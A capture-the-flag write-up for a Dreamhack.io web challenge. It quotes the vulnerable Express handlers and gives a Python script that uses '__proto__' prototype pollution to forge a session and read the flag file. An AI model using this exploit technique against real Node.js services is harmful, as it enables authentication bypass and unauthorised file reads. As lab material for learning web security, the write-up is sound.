NSS
Level 7 web exploitation challenge on Dreamhack.io
The Challenge
https://dreamhack.io/wargame/challenges/468
Looking at file.js, we see that you have arbitrary file read and arbitrary file write, due to path traversal. This won’t help us much as ssh is not enabled on the server, and to read a file you must first write to it, so we can’t easily read the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
app.post("/api/users/:userid/:ws", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const token = req.body.token || "";
const f_name = req.body.file_name || "";
const f_path = req.body.file_path.replace(/\./g,'') || "";
const f_content = req.body.file_content || "";
if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid id or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});
const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});
const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});
if(!f_name || !f_path)
return res.status(400).json({ok: false, err: "Invalid file name or path"});
if(!write_b64_file(path.join(user.base_dir, f_path), f_content))
return res.status(500).json({ok: false, err: "Internal server error"});
workspace[f_name] = f_path;
return res.status(200).json({ok: true});
});
app.get("/api/users/:userid/:ws/:fname", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const f_name = req.params.fname || "";
const token = req.body.token || "";
if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});
const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});
const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});
if(!f_name)
return res.status(400).json({ok: false, err: "Invalid file name"});
const f_path = workspace[f_name];
if(!f_path)
return res.status(404).json({ok: false, err: "Failed to find file"});
const content = read_b64_file(path.join(user.base_dir, f_path));
if(typeof content == "undefined")
return res.status(500).json({ok: false, err: "Internal server error"});
res.status(200).json({ok: true, file_content: content});
});
This line is suspicious:
1
workspace[f_name] = f_path;
Looks like a classic case of prototype pollution. What can we pollute? Looking at the rest of the code, we can create an “imaginary” user, authenticate as that user, and invoke the arbitrary file read without needing to write anything first.
We need to bypass this check, by polluting owner:
1
2
3
4
5
6
7
8
9
10
function check_session(userid, token) {
const sess = tokens[token]
if(!sess) return false;
if(sess.owner != userid) return false;
if(sess.expire < Date.now() / 1000){
tokens.delete(token);
return false;
}
else return true;
}
Looking at file.js and user.js we see that we need to pollute workspaces to (arbitrary workspace name), base_dir to /usr, (arbitrary filename) to /src/app/flag, token to (arbitrary token value), (arbitrary token value) to (arbitrary value), (arbitrary username) to (arbitrary value)
That’s a lot to explain so I’ll show my exploit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def do_upload(ws_name, filename, path):
# Upload a file
file_content = "Hello, this is a test file!"
file_content_b64 = base64.b64encode(file_content.encode()).decode()
upload_data = {
"token": token,
"file_name": filename,
"file_path": path,
"file_content": file_content_b64
}
r = requests.post(HOST + f"api/users/john/{ws_name}", json=upload_data)
print("Upload file:", r.text)
do_upload("__proto__", "johndoe", "hi")
do_upload("__proto__", "token", "abc")
do_upload("__proto__", "abc", "arbitrary")
do_upload("__proto__", "owner", "johndoe")
do_upload("__proto__", "workspaces", "arbitrary")
do_upload("__proto__", "base_dir", "/usr")
do_upload("__proto__", "susworkspace", "arbitrary")
do_upload("__proto__", "susfile", "/src/app/flag")
# Read the file back
r = requests.get(HOST + "api/users/johndoe/susworkspace/susfile", json={"token": "abc"})
print("Read file response:", r.text)

